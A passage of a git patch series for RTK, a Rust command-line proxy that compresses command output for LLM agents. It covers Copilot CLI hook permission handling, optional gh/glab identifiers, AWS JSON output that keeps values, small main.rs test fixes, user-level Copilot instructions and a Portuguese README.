PermissionVerdict::Allow).unwrap(); + let r = copilot_cli_response_for_verdict( + "cargo test", + &cli_args("cargo test"), + PermissionVerdict::Allow, + ) + .unwrap(); assert_eq!(r["permissionDecision"], "allow"); assert_eq!(r["modifiedArgs"]["command"], "rtk cargo test"); } #[test] fn test_copilot_cli_deny_verdict_returns_none() { - assert!(copilot_cli_response_for_verdict("cargo test", PermissionVerdict::Deny).is_none()); + assert!(copilot_cli_response_for_verdict( + "cargo test", + &cli_args("cargo test"), + PermissionVerdict::Deny + ) + .is_none()); } #[test] fn test_copilot_cli_passthrough_unsupported() { - assert!(copilot_cli_response("htop").is_none()); + assert!(copilot_cli_response("htop", &cli_args("htop")).is_none()); } #[test] fn test_copilot_cli_passthrough_already_rtk() { - assert!(copilot_cli_response("rtk cargo test").is_none()); + assert!(copilot_cli_response("rtk cargo test", &cli_args("rtk cargo test")).is_none()); } #[test] fn test_copilot_cli_passthrough_heredoc() { - assert!(copilot_cli_response("cat < Date: Tue, 26 May 2026 21:26:33 +0200 Subject: [PATCH 155/257] fix(hook): omit permissionDecision so Copilot prompts for the rewritten command --- src/hooks/hook_cmd.rs | 29 +++++++++++++++++------------ 1 file changed, 17 insertions(+), 12 deletions(-) diff --git a/src/hooks/hook_cmd.rs b/src/hooks/hook_cmd.rs index 72a449ff31..8870bf8d75 100644 --- a/src/hooks/hook_cmd.rs +++ b/src/hooks/hook_cmd.rs @@ -180,19 +180,24 @@ fn copilot_cli_response_for_verdict( } let rewritten = get_rewritten(cmd)?; audit_log("rewrite", cmd, &rewritten); - let decision = match verdict { - PermissionVerdict::Allow => "allow", - _ => "ask", - }; + let mut modified = args.clone(); if let Some(obj) = modified.as_object_mut() { obj.insert("command".into(), Value::String(rewritten)); } - Some(json!({ - "permissionDecision": decision, + + // Copilot CLI v1.0.54 only applies `modifiedArgs` when permissionDecision is + // either "allow" or absent. Omitting permissionDecision lets Copilot's normal + // permission flow run on the rewritten command — `rtk *` is not on its + // auto-allow list, so the user sees a prompt for the rewritten command. + let mut response = json!({ "permissionDecisionReason": "RTK auto-rewrite", - "modifiedArgs": modified - })) + "modifiedArgs": modified, + }); + if verdict == PermissionVerdict::Allow { + response["permissionDecision"] = json!("allow"); + } + Some(response) } // ── Gemini hook ─────────────────────────────────────────────── @@ -644,16 +649,16 @@ mod tests { } #[test] - fn test_copilot_cli_default_verdict_returns_ask_with_rewrite() { + fn test_copilot_cli_default_verdict_omits_permission_decision() { let r = copilot_cli_response_for_verdict( "cargo test", &cli_args("cargo test"), PermissionVerdict::Default, ) .unwrap(); - assert_eq!( - r["permissionDecision"], "ask", - "Default must be 'ask' so the user is still prompted for the rewritten command" + assert!( + r.get("permissionDecision").is_none(), + "Default must NOT set permissionDecision — Copilot then runs its normal prompt flow on the rewritten command" ); assert_eq!(r["modifiedArgs"]["command"], "rtk cargo test"); } From e1bb17f85d387816621a6e77eca44f94458c4e81 Mon Sep 17 00:00:00 2001 From: Benoit Galati Date: Wed, 27 May 2026 17:47:32 +0200 Subject: [PATCH 156/257] fix(gh,glab): don't pre-reject view/checks/run subcommands missing the id gh and glab both accept several subcommands without an explicit id and resolve it from the current branch (gh pr view, gh pr checks, glab mr view) or open an interactive picker (gh run view). RTK was pre-rejecting with "X number required" before the underlying tool ever ran. Six call sites now treat the identifier as optional and forward the request unchanged, letting gh/glab decide: - gh pr view, gh pr checks, gh issue view, gh run view - glab mr view, glab issue view A new `parse_optional_identifier` helper in each file captures the "(Option, Vec)" parse so the no-id branch is unit-testable. format_run_view also drops the dangling `#` from its header when the run id is empty (interactive-picker passthrough). --- src/cmds/git/gh_cmd.rs | 161 +++++++++++++++++++++++++++++---------- src/cmds/git/glab_cmd.rs | 93 +++++++++++++++++----- 2 files changed, 193 insertions(+), 61 deletions(-) diff --git a/src/cmds/git/gh_cmd.rs b/src/cmds/git/gh_cmd.rs index c22c16b401..156b81e2a1 100644 --- a/src/cmds/git/gh_cmd.rs +++ b/src/cmds/git/gh_cmd.rs @@ -162,6 +162,16 @@ fn extract_identifier_and_extra_args(args: &[String]) -> Option<(String, Vec (Option, Vec) { + match extract_identifier_and_extra_args(args) { + Some((id, extra)) => (Some(id), extra), + None => (None, args.to_vec()), + } +} + fn run_gh_json(cmd: Command, label: &str, filter_fn: F) -> Result where F: Fn(&Value) -> String, @@ -319,27 +329,32 @@ fn pr_status_json_fields() -> &'static str { } fn view_pr(args: &[String], _verbose: u8, ultra_compact: bool) -> Result { - let (pr_number, extra_args) = match extract_identifier_and_extra_args(args) { - Some(result) => result, - None => return Err(anyhow::anyhow!("PR number required")), - }; + // `gh pr view` without an identifier defaults to the PR for the current branch. + let (pr_number_opt, extra_args) = parse_optional_identifier(args); if should_passthrough_pr_view(&extra_args) { - return run_passthrough_with_extra("gh", &["pr", "view", &pr_number], &extra_args); + let mut base: Vec<&str> = vec!["pr", "view"]; + if let Some(id) = pr_number_opt.as_deref() { + base.push(id); + } + return run_passthrough_with_extra("gh", &base, &extra_args); } let mut cmd = resolved_command("gh"); + cmd.args(["pr", "view"]); + if let Some(id) = pr_number_opt.as_deref() { + cmd.arg(id); + } cmd.args([ - "pr", - "view", - &pr_number, "--json", "number,title,state,author,body,url,mergeable,reviews,statusCheckRollup", ]); for arg in &extra_args { cmd.arg(arg); } - run_gh_json(cmd, &format!("pr view {}", pr_number), |json| { - format_pr_view(json, ultra_compact) - }) + let label = match pr_number_opt.as_deref() { + Some(id) => format!("pr view {}", id), + None => "pr view".to_string(), + }; + run_gh_json(cmd, &label, |json| format_pr_view(json, ultra_compact)) } fn format_pr_view(json: &Value, ultra_compact: bool) -> String { @@ -427,19 +442,24 @@ fn format_pr_view(json: &Value, ultra_compact: bool) -> String { } fn pr_checks(args: &[String], _verbose: u8, _ultra_compact: bool) -> Result { - let (pr_number, extra_args) = match extract_identifier_and_extra_args(args) { - Some(result) => result, - None => return Err(anyhow::anyhow!("PR number required")), - }; + // `gh pr checks` without an identifier defaults to the PR for the current branch. + let (pr_number_opt, extra_args) = parse_optional_identifier(args); let mut cmd = resolved_command("gh"); - cmd.args(["pr", "checks", &pr_number]); + cmd.args(["pr", "checks"]); + if let Some(id) = pr_number_opt.as_deref() { + cmd.arg(id); + } for arg in &extra_args { cmd.arg(arg); } + let label = match pr_number_opt.as_deref() { + Some(id) => format!("pr checks {}", id), + None => "pr checks".to_string(), + }; runner::run_filtered( cmd, "gh", - &format!("pr checks {}", pr_number), + &label, format_pr_checks, RunOptions::stdout_only() .early_exit_on_failure() @@ -623,27 +643,29 @@ fn format_issue_list(json: &Value, ultra_compact: bool) -> String { } fn view_issue(args: &[String], _verbose: u8) -> Result { - let (issue_number, extra_args) = match extract_identifier_and_extra_args(args) { - Some(result) => result, - None => return Err(anyhow::anyhow!("Issue number required")), - }; + // Let gh emit its own error message when the identifier is missing rather than pre-rejecting. + let (issue_number_opt, extra_args) = parse_optional_identifier(args); if should_passthrough_issue_view(&extra_args) { - return run_passthrough_with_extra("gh", &["issue", "view", &issue_number], &extra_args); + let mut base: Vec<&str> = vec!["issue", "view"]; + if let Some(id) = issue_number_opt.as_deref() { + base.push(id); + } + return run_passthrough_with_extra("gh", &base, &extra_args); } let mut cmd = resolved_command("gh"); - cmd.args([ - "issue", - "view", - &issue_number, - "--json", - "number,title,state,author,body,url", - ]); + cmd.args(["issue", "view"]); + if let Some(id) = issue_number_opt.as_deref() { + cmd.arg(id); + } + cmd.args(["--json", "number,title,state,author,body,url"]); for arg in &extra_args { cmd.arg(arg); } - run_gh_json(cmd, &format!("issue view {}", issue_number), |json| { - format_issue_view(json) - }) + let label = match issue_number_opt.as_deref() { + Some(id) => format!("issue view {}", id), + None => "issue view".to_string(), + }; + run_gh_json(cmd, &label, format_issue_view) } fn format_issue_view(json: &Value) -> String { @@ -753,23 +775,32 @@ fn should_passthrough_run_view(extra_args: &[String]) -> bool { } fn view_run(args: &[String], _verbose: u8) -> Result { - let (run_id, extra_args) = match extract_identifier_and_extra_args(args) { - Some(result) => result, - None => return Err(anyhow::anyhow!("Run ID required")), - }; + // `gh run view` without an identifier opens an interactive picker — defer to gh. + let (run_id_opt, extra_args) = parse_optional_identifier(args); if should_passthrough_run_view(&extra_args) { - return run_passthrough_with_extra("gh", &["run", "view", &run_id], &extra_args); + let mut base: Vec<&str> = vec!["run", "view"]; + if let Some(id) = run_id_opt.as_deref() { + base.push(id); + } + return run_passthrough_with_extra("gh", &base, &extra_args); } let mut cmd = resolved_command("gh"); - cmd.args(["run", "view", &run_id]); + cmd.args(["run", "view"]); + if let Some(id) = run_id_opt.as_deref() { + cmd.arg(id); + } for arg in &extra_args { cmd.arg(arg); } - let run_id_owned = run_id.clone(); + let label = match run_id_opt.as_deref() { + Some(id) => format!("run view {}", id), + None => "run view".to_string(), + }; + let run_id_owned = run_id_opt.unwrap_or_default(); runner::run_filtered( cmd, "gh", - &format!("run view {}", run_id), + &label, move |stdout| format_run_view(stdout, &run_id_owned), RunOptions::stdout_only() .early_exit_on_failure() @@ -781,7 +812,11 @@ fn format_run_view(stdout: &str, run_id: &str) -> String { let mut out = String::new(); let mut in_jobs = false; - out.push_str(&format!("Workflow Run #{}\n", run_id)); + if run_id.is_empty() { + out.push_str("Workflow Run\n"); + } else { + out.push_str(&format!("Workflow Run #{}\n", run_id)); + } for line in stdout.lines() { if line.contains("JOBS") { in_jobs = true; @@ -1077,6 +1112,35 @@ mod tests { assert!(extract_identifier_and_extra_args(&args).is_none()); } + // --- parse_optional_identifier tests --- + + #[test] + fn test_parse_optional_identifier_empty_yields_no_id() { + // `gh pr view` (no args) must surface as (None, []) so the caller + // hands the request to gh, which resolves the current branch's PR. + let (id, extra) = parse_optional_identifier(&[]); + assert!(id.is_none()); + assert!(extra.is_empty()); + } + + #[test] + fn test_parse_optional_identifier_only_flags_preserves_flags() { + // Regression: `gh pr view -R rtk-ai/rtk` previously triggered + // "PR number required". Now flags must round-trip into `extra`. + let args: Vec = vec!["-R".into(), "rtk-ai/rtk".into()]; + let (id, extra) = parse_optional_identifier(&args); + assert!(id.is_none()); + assert_eq!(extra, vec!["-R", "rtk-ai/rtk"]); + } + + #[test] + fn test_parse_optional_identifier_with_id_matches_extract() { + let args: Vec = vec!["-R".into(), "rtk-ai/rtk".into(), "42".into()]; + let (id, extra) = parse_optional_identifier(&args); + assert_eq!(id.as_deref(), Some("42")); + assert_eq!(extra, vec!["-R", "rtk-ai/rtk"]); + } + #[test] fn test_extract_identifier_with_web_flag() { let args: Vec = vec!["123".into(), "--web".into()]; @@ -1108,6 +1172,21 @@ mod tests { assert!(!should_passthrough_run_view(&[])); } + #[test] + fn test_format_run_view_with_id() { + let output = format_run_view("", "12345"); + assert!(output.starts_with("Workflow Run #12345\n")); + } + + #[test] + fn test_format_run_view_without_id() { + // `gh run view` with no arg opens an interactive picker — the captured run id + // is empty, so the header must not render an empty `#`. + let output = format_run_view("", ""); + assert!(output.starts_with("Workflow Run\n")); + assert!(!output.contains("#\n")); + } + #[test] fn test_run_view_no_passthrough_other_flags() { assert!(!should_passthrough_run_view(&["--web".into()])); diff --git a/src/cmds/git/glab_cmd.rs b/src/cmds/git/glab_cmd.rs index a0282a2210..56885f07cc 100644 --- a/src/cmds/git/glab_cmd.rs +++ b/src/cmds/git/glab_cmd.rs @@ -212,6 +212,16 @@ fn extract_identifier_and_extra_args(args: &[String]) -> Option<(String, Vec (Option, Vec) { + match extract_identifier_and_extra_args(args) { + Some((id, extra)) => (Some(id), extra), + None => (None, args.to_vec()), + } +} + /// Check if user explicitly requested JSON/custom output format. /// When present, passthrough to avoid double JSON injection. fn has_output_flag(args: &[String]) -> bool { @@ -409,24 +419,32 @@ fn format_mr_view(json: &Value, ultra_compact: bool) -> String { } fn mr_view(args: &[String], _verbose: u8, ultra_compact: bool) -> Result { - let (mr_number, extra_args) = match extract_identifier_and_extra_args(args) { - Some(pair) => pair, - None => return Err(anyhow::anyhow!("MR number required")), - }; + // `glab mr view` without an identifier defaults to the MR for the current branch. + let (mr_number_opt, extra_args) = parse_optional_identifier(args); // Passthrough for --web, --comments, or explicit output format if should_passthrough_view(&extra_args) { - return run_passthrough_with_extra("glab", &["mr", "view", &mr_number], &extra_args); + let mut base: Vec<&str> = vec!["mr", "view"]; + if let Some(id) = mr_number_opt.as_deref() { + base.push(id); + } + return run_passthrough_with_extra("glab", &base, &extra_args); } let mut cmd = resolved_command("glab"); - cmd.args(["mr", "view", &mr_number, "-F", "json"]); + cmd.args(["mr", "view"]); + if let Some(id) = mr_number_opt.as_deref() { + cmd.arg(id); + } + cmd.args(["-F", "json"]); for arg in &extra_args { cmd.arg(arg); } - run_glab_json(cmd, &format!("mr view {}", mr_number), |json| { - format_mr_view(json, ultra_compact) - }) + let label = match mr_number_opt.as_deref() { + Some(id) => format!("mr view {}", id), + None => "mr view".to_string(), + }; + run_glab_json(cmd, &label, |json| format_mr_view(json, ultra_compact)) } fn mr_create(args: &[String], _verbose: u8) -> Result { @@ -603,25 +621,31 @@ fn format_issue_view(json: &Value) -> String { } fn issue_view(args: &[String], _verbose: u8) -> Result { - let (issue_number, extra_args) = match extract_identifier_and_extra_args(args) { - Some(pair) => pair, - None => return Err(anyhow::anyhow!("Issue number required")), - }; + // Let glab emit its own error message when the identifier is missing rather than pre-rejecting. + let (issue_number_opt, extra_args) = parse_optional_identifier(args); if should_passthrough_view(&extra_args) { - return run_passthrough_with_extra("glab", &["issue", "view", &issue_number], &extra_args); + let mut base: Vec<&str> = vec!["issue", "view"]; + if let Some(id) = issue_number_opt.as_deref() { + base.push(id); + } + return run_passthrough_with_extra("glab", &base, &extra_args); } let mut cmd = resolved_command("glab"); - cmd.args(["issue", "view", &issue_number, "-F", "json"]); + cmd.args(["issue", "view"]); + if let Some(id) = issue_number_opt.as_deref() { + cmd.arg(id); + } + cmd.args(["-F", "json"]); for arg in &extra_args { cmd.arg(arg); } - run_glab_json( - cmd, - &format!("issue view {}", issue_number), - format_issue_view, - ) + let label = match issue_number_opt.as_deref() { + Some(id) => format!("issue view {}", id), + None => "issue view".to_string(), + }; + run_glab_json(cmd, &label, format_issue_view) } // ── CI/Pipeline subcommands ───────────────────────────────────────────── @@ -1235,6 +1259,35 @@ mod tests { assert!(extract_identifier_and_extra_args(&args).is_none()); } + // ── parse_optional_identifier tests ───────────────────────────────── + + #[test] + fn test_parse_optional_identifier_empty_yields_no_id() { + // `glab mr view` (no args) must surface as (None, []) so the caller + // hands the request to glab, which resolves the current branch's MR. + let (id, extra) = parse_optional_identifier(&[]); + assert!(id.is_none()); + assert!(extra.is_empty()); + } + + #[test] + fn test_parse_optional_identifier_only_flags_preserves_flags() { + // Regression: `glab mr view -R group/project` previously triggered + // "MR number required". Now flags must round-trip into `extra`. + let args: Vec = vec!["-R".into(), "group/project".into()]; + let (id, extra) = parse_optional_identifier(&args); + assert!(id.is_none()); + assert_eq!(extra, vec!["-R", "group/project"]); + } + + #[test] + fn test_parse_optional_identifier_with_id_matches_extract() { + let args: Vec = vec!["-R".into(), "group/project".into(), "42".into()]; + let (id, extra) = parse_optional_identifier(&args); + assert_eq!(id.as_deref(), Some("42")); + assert_eq!(extra, vec!["-R", "group/project"]); + } + // ── has_output_flag tests ─────────────────────────────────────────── #[test] From f2a2e01e7a7f95bc6090d25e028fad8164d47936 Mon Sep 17 00:00:00 2001 From: Lara Date: Wed, 27 May 2026 16:00:32 -0300 Subject: [PATCH 157/257] docs(readme): add Portuguese translation --- README.md | 3 +- README_pt.md | 166 +++++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 168 insertions(+), 1 deletion(-) create mode 100644 README_pt.md diff --git a/README.md b/README.md index f8d65efe52..492589ef80 100644 --- a/README.md +++ b/README.md @@ -28,7 +28,8 @@ 中文 • 日本語 • 한국어 • - Espanol + Espanol • + Português

--- diff --git a/README_pt.md b/README_pt.md new file mode 100644 index 0000000000..767cd49dc0 --- /dev/null +++ b/README_pt.md @@ -0,0 +1,166 @@ +

+ RTK - Rust Token Killer +

+ +

+ Proxy CLI de alta performance que reduz o consumo de tokens LLM em 60-90% +

+ +

+ CI + Release + License: Apache 2.0 + Discord + Homebrew +

+ +

+ Site • + Instalar • + Solução de problemas • + Arquitetura • + Discord +

+ +

+ English • + Francais • + 中文 • + 日本語 • + 한국어 • + Espanol • + Português +

+ +--- + +rtk filtra e comprime saídas de comandos antes de chegarem ao contexto do seu LLM. Binário Rust único, zero dependências, overhead inferior a 10ms. + +## Economia de tokens (sessão de 30 min no Claude Code) + +| Operação | Frequência | Padrão | rtk | Economia | +|-----------|------------|----------|-----|--------| +| `ls` / `tree` | 10x | 2,000 | 400 | -80% | +| `cat` / `read` | 20x | 40,000 | 12,000 | -70% | +| `grep` / `rg` | 8x | 16,000 | 3,200 | -80% | +| `git status` | 10x | 3,000 | 600 | -80% | +| `cargo test` / `npm test` | 5x | 25,000 | 2,500 | -90% | +| **Total** | | **~118,000** | **~23,900** | **-80%** | + +## Instalacao + +### Homebrew (recomendado) + +```bash +brew install rtk +``` + +### Instalação rápida (Linux/macOS) + +```bash +curl -fsSL https://raw.githubusercontent.com/rtk-ai/rtk/refs/heads/master/install.sh | sh +``` + +### Cargo + +```bash +cargo install --git https://github.com/rtk-ai/rtk +``` + +### Verificação + +```bash +rtk --version # Deve exibir "rtk 0.28.2" +rtk gain # Deve exibir estatísticas de economia +``` + +## Inicio rapido + +```bash +# 1. Instalar hook para Claude Code (recomendado) +rtk init --global + +# 2. Reiniciar Claude Code, depois testar +git status # Reescrito automaticamente para rtk git status +``` + +## Como funciona + +``` + Sem rtk: Com rtk: + + Claude --git status--> shell --> git Claude --git status--> RTK --> git + ^ | ^ | | + | ~2,000 tokens (bruto) | | ~200 tokens | filtro | + +-----------------------------------+ +------- (filtrado) ---+----------+ +``` + +Quatro estratégias: + +1. **Filtragem inteligente** - Elimina ruído (comentários, espaços, boilerplate) +2. **Agrupamento** - Agrega itens similares (arquivos por diretório, erros por tipo) +3. **Truncamento** - Mantém contexto relevante, elimina redundância +4. **Deduplicação** - Colapsa linhas de log repetidas com contadores + +## Comandos + +### Arquivos +```bash +rtk ls . # Árvore de diretórios otimizada +rtk read file.rs # Leitura inteligente +rtk find "*.rs" . # Resultados compactos +rtk grep "pattern" . # Busca agrupada por arquivo +``` + +### Git +```bash +rtk git status # Status compacto +rtk git log -n 10 # Commits em uma linha +rtk git diff # Diff condensado +rtk git push # -> "ok main" +``` + +### Tests +```bash +rtk jest # Jest compacto +rtk vitest # Vitest compacto +rtk pytest # Tests Python (-90%) +rtk go test # Tests Go (-90%) +rtk cargo test # Tests Rust (-90%) +rtk test # Só falhas (-90%) +``` + +### Build & Lint +```bash +rtk lint # ESLint agrupado por regra +rtk tsc # Erros TypeScript agrupados +rtk cargo build # Build Cargo (-80%) +rtk ruff check # Lint Python (-80%) +``` + +### Análises +```bash +rtk gain # Estatísticas de economia +rtk gain --graph # Gráfico ASCII (30 dias) +rtk discover # Descobrir economias perdidas +``` + +## Documentação + +- **[INSTALL.md](INSTALL.md)** - Guia de instalação detalhado +- **[ARCHITECTURE.md](docs/contributing/ARCHITECTURE.md)** - Arquitetura técnica +- **[CONTRIBUTING.md](CONTRIBUTING.md)** - Guia de contribuição + +## Contribuir + +Contribuições são bem-vindas. Abra uma issue ou PR no [GitHub](https://github.com/rtk-ai/rtk). + +Junte-se à comunidade no [Discord](https://discord.gg/RySmvNF5kF). + +## Licença + +Apache License 2.0 - veja [LICENSE](LICENSE) para detalhes. + +## Aviso Legal + +Veja [DISCLAIMER.md](DISCLAIMER.md). From ad2bfd3225587ab2487f122868e4ea6e5facea7d Mon Sep 17 00:00:00 2001 From: Bartlomiej Kaluza Date: Thu, 28 May 2026 11:29:22 +0200 Subject: [PATCH 158/257] fix(aws): preserve values in JSON output for unsupported subcommands The generic AWS handler (used for subcommands outside the hardcoded specialized list) called json_cmd::filter_json_string, which extracts a type-only schema and discards every value. $ rtk aws backup describe-global-settings --output json { GlobalSettings: { isCrossAccountBackupEnabled: string, isDelegatedAdministratorEnabled: string, isMpaEnabled: string } LastUpdateTime: string } Callers got the schema instead of the data they asked for. Swap to json_cmd::filter_json_compact, which preserves values while still applying depth, string-length, and array-size truncation: $ rtk aws backup describe-global-settings --output json { GlobalSettings: { isCrossAccountBackupEnabled: "false", isDelegatedAdministratorEnabled: "false", isMpaEnabled: "false" } LastUpdateTime: "2026-05-28T09:52:17.525000+02:00" } Affects every AWS subcommand not on the hardcoded list (backup, route53, kms, ssm, apigateway, ...) when output is valid JSON (explicit `--output json` or auto-injected for describe-/list-/get-/scan). --- src/cmds/cloud/aws_cmd.rs | 35 ++++++++++++++++--- .../aws_backup_describe_global_settings.json | 8 +++++ 2 files changed, 38 insertions(+), 5 deletions(-) create mode 100644 tests/fixtures/aws_backup_describe_global_settings.json diff --git a/src/cmds/cloud/aws_cmd.rs b/src/cmds/cloud/aws_cmd.rs index 64c18cf7c2..833d2fe7b9 100644 --- a/src/cmds/cloud/aws_cmd.rs +++ b/src/cmds/cloud/aws_cmd.rs @@ -215,7 +215,7 @@ fn is_structured_operation(args: &[String]) -> bool { || op == "receive-message" } -/// Generic strategy: force --output json for structured ops, compress via json_cmd schema +/// Generic strategy: force --output json for structured ops, compress via json_cmd compact (values preserved) fn run_generic(subcommand: &str, args: &[String], verbose: u8, full_sub: &str) -> Result { let timer = tracking::TimedExecution::start(); @@ -256,10 +256,10 @@ fn run_generic(subcommand: &str, args: &[String], verbose: u8, full_sub: &str) - return Ok(crate::core::utils::exit_code_from_output(&output, "aws")); } - let filtered = match json_cmd::filter_json_string(&raw, JSON_COMPRESS_DEPTH) { - Ok(schema) => { - println!("{}", schema); - schema + let filtered = match json_cmd::filter_json_compact(&raw, JSON_COMPRESS_DEPTH) { + Ok(compact) => { + println!("{}", compact); + compact } Err(_) => { // Fallback: print raw (maybe not JSON) @@ -2749,4 +2749,29 @@ upload: file10.txt to s3://bucket/file10.txt // Should report all 30 failures, not capped at MAX_ITEMS (20) assert!(result.text.contains("30 failed")); } + + // Regression: generic AWS path (unsupported subcommand returning JSON) must + // compress responses while preserving values, not collapse them to schema + // type names. Calls the primitive used at aws_cmd.rs run_generic line 259. + #[test] + fn test_aws_unsupported_subcommand_json_preserves_values() { + let fixture = include_str!( + "../../../tests/fixtures/aws_backup_describe_global_settings.json" + ); + let output = json_cmd::filter_json_compact(fixture, JSON_COMPRESS_DEPTH) + .expect("filter_json_compact must not error on valid AWS JSON"); + + assert!( + output.contains("\"false\""), + "values must be preserved (expected literal \"false\"), got:\n{output}" + ); + assert!( + !output.contains(": string"), + "schema-type leakage detected (\": string\" found), got:\n{output}" + ); + assert!( + output.contains("isMpaEnabled"), + "object keys must be preserved, got:\n{output}" + ); + } } diff --git a/tests/fixtures/aws_backup_describe_global_settings.json b/tests/fixtures/aws_backup_describe_global_settings.json new file mode 100644 index 0000000000..8a521c6475 --- /dev/null +++ b/tests/fixtures/aws_backup_describe_global_settings.json @@ -0,0 +1,8 @@ +{ + "GlobalSettings": { + "isCrossAccountBackupEnabled": "false", + "isDelegatedAdministratorEnabled": "false", + "isMpaEnabled": "false" + }, + "LastUpdateTime": "2026-05-28T09:52:17.525000+02:00" +} From 207c82a585db4b2b3d343c25c403599cd28fbbe2 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Thu, 28 May 2026 16:44:06 +0200 Subject: [PATCH 159/257] missing bracket --- src/main.rs | 2 ++ 1 file changed, 2 insertions(+) diff --git a/src/main.rs b/src/main.rs index 819e57abfd..042a78cd54 100644 --- a/src/main.rs +++ b/src/main.rs @@ -3194,6 +3194,8 @@ mod tests { code, 134, "rtk crashed with SIGABRT (exit 134) on broken pipe - SIGPIPE handler missing" ); + } + fn test_ultra_compact_long_form_still_works() { let cli = Cli::try_parse_from(["rtk", "--ultra-compact", "git", "status"]).unwrap(); assert!( From b6ecf965a4e829756801da1f19de2e51c3af24c4 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Thu, 28 May 2026 16:50:18 +0200 Subject: [PATCH 160/257] missing test tag --- src/main.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/src/main.rs b/src/main.rs index 042a78cd54..672a3ec925 100644 --- a/src/main.rs +++ b/src/main.rs @@ -3196,6 +3196,7 @@ mod tests { ); } + #[test] fn test_ultra_compact_long_form_still_works() { let cli = Cli::try_parse_from(["rtk", "--ultra-compact", "git", "status"]).unwrap(); assert!( From e3ad9736177116b637da17faaf38f70312ab6148 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Fri, 29 May 2026 09:16:22 +0200 Subject: [PATCH 161/257] fix(copilot-cli): use user-level instruction for -g -g was missing user level instructions which are available for copilot --- .../guide/getting-started/supported-agents.md | 2 +- src/hooks/init.rs | 73 +++++++++++++++++-- 2 files changed, 69 insertions(+), 6 deletions(-) diff --git a/docs/guide/getting-started/supported-agents.md b/docs/guide/getting-started/supported-agents.md index 80f22f39e8..be70ddbd0e 100644 --- a/docs/guide/getting-started/supported-agents.md +++ b/docs/guide/getting-started/supported-agents.md @@ -73,7 +73,7 @@ rtk init --copilot # project-scoped (.github/hooks/) rtk init --global --copilot # user-scoped (~/.copilot/hooks/, respects $COPILOT_HOME) ``` -Project-scoped writes `.github/hooks/rtk-rewrite.json` (both hosts get transparent rewrite — VS Code Chat via `updatedInput`, Copilot CLI via `modifiedArgs`) plus the RTK block in `.github/copilot-instructions.md`. User-scoped writes only `~/.copilot/hooks/rtk-rewrite.json` — the Copilot CLI docs define no user-level instructions file. +Project-scoped writes `.github/hooks/rtk-rewrite.json` (both hosts get transparent rewrite — VS Code Chat via `updatedInput`, Copilot CLI via `modifiedArgs`) plus the RTK block in `.github/copilot-instructions.md`. User-scoped writes the same hook config to `~/.copilot/hooks/rtk-rewrite.json` and the RTK block to `~/.copilot/copilot-instructions.md` (both respect `$COPILOT_HOME` if set). Uninstall: diff --git a/src/hooks/init.rs b/src/hooks/init.rs index d349a96925..2d711073cf 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -4050,6 +4050,15 @@ fn run_copilot_global_at(copilot_dir: &Path, ctx: InitContext) -> Result<()> { .with_context(|| format!("Failed to create {} directory", hooks_dir.display()))?; } + let instructions_path = copilot_dir.join(COPILOT_INSTRUCTIONS_FILE); + write_rtk_block( + &instructions_path, + COPILOT_INSTRUCTIONS, + "Copilot user-level instructions", + "rtk init --global --copilot", + ctx, + )?; + let hook_path = hooks_dir.join(COPILOT_HOOK_FILE); write_if_changed( &hook_path, @@ -4063,6 +4072,7 @@ fn run_copilot_global_at(copilot_dir: &Path, ctx: InitContext) -> Result<()> { } else { println!("\nGitHub Copilot global integration installed (user-scoped).\n"); println!(" Hook config: {}", hook_path.display()); + println!(" Instructions: {}", instructions_path.display()); println!("\n Applies to all Copilot CLI sessions on this machine."); println!(" Restart your Copilot CLI session to activate.\n"); } @@ -4117,6 +4127,31 @@ fn uninstall_copilot_global_at(copilot_dir: &Path, ctx: InitContext) -> Result Date: Fri, 29 May 2026 09:26:32 +0200 Subject: [PATCH 162/257] fix: fmt --- src/hooks/init.rs | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/src/hooks/init.rs b/src/hooks/init.rs index 2d711073cf..0b18557195 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -6639,7 +6639,10 @@ mod tests { let temp = TempDir::new().unwrap(); run_copilot_global_at(temp.path(), InitContext::default()).unwrap(); let instructions = temp.path().join(COPILOT_INSTRUCTIONS_FILE); - assert!(instructions.exists(), "user-level instructions must be written"); + assert!( + instructions.exists(), + "user-level instructions must be written" + ); let content = fs::read_to_string(&instructions).unwrap(); assert!(content.contains(RTK_BLOCK_START)); assert!(content.contains("rtk cargo test")); @@ -6654,7 +6657,10 @@ mod tests { run_copilot_global_at(temp.path(), InitContext::default()).unwrap(); let content = fs::read_to_string(&instructions).unwrap(); - assert!(content.contains("Always use pnpm."), "user content must be preserved"); + assert!( + content.contains("Always use pnpm."), + "user content must be preserved" + ); assert!(content.contains(RTK_BLOCK_START)); } From 7853819fe0f4285708469766a3c62f3368ac6a5c Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Fri, 29 May 2026 12:51:04 +0200 Subject: [PATCH 163/257] Update main.rs --- src/main.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/src/main.rs b/src/main.rs index 672a3ec925..819d32b719 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1362,6 +1362,7 @@ fn main() { // release profile that becomes SIGABRT + coredump. #[cfg(unix)] unsafe { + // nosemgrep: unsafe-block libc::signal(libc::SIGPIPE, libc::SIG_DFL); } From b11f82751d268a7cc40d9d2aa1d8425d12fbcd03 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Fri, 29 May 2026 12:57:03 +0200 Subject: [PATCH 164/257] allow unsafe code clippy + semgrep --- src/main.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/src/main.rs b/src/main.rs index 819d32b719..62237dc2f5 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1361,6 +1361,7 @@ fn main() { // Rust ignores SIGPIPE by default and with panic="abort" in the // release profile that becomes SIGABRT + coredump. #[cfg(unix)] + #[allow(unsafe_code)] unsafe { // nosemgrep: unsafe-block libc::signal(libc::SIGPIPE, libc::SIG_DFL); From dd5362fd546ae07409dbd799f00f524800157f73 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Fri, 29 May 2026 13:03:02 +0200 Subject: [PATCH 165/257] Update main.rs --- src/main.rs | 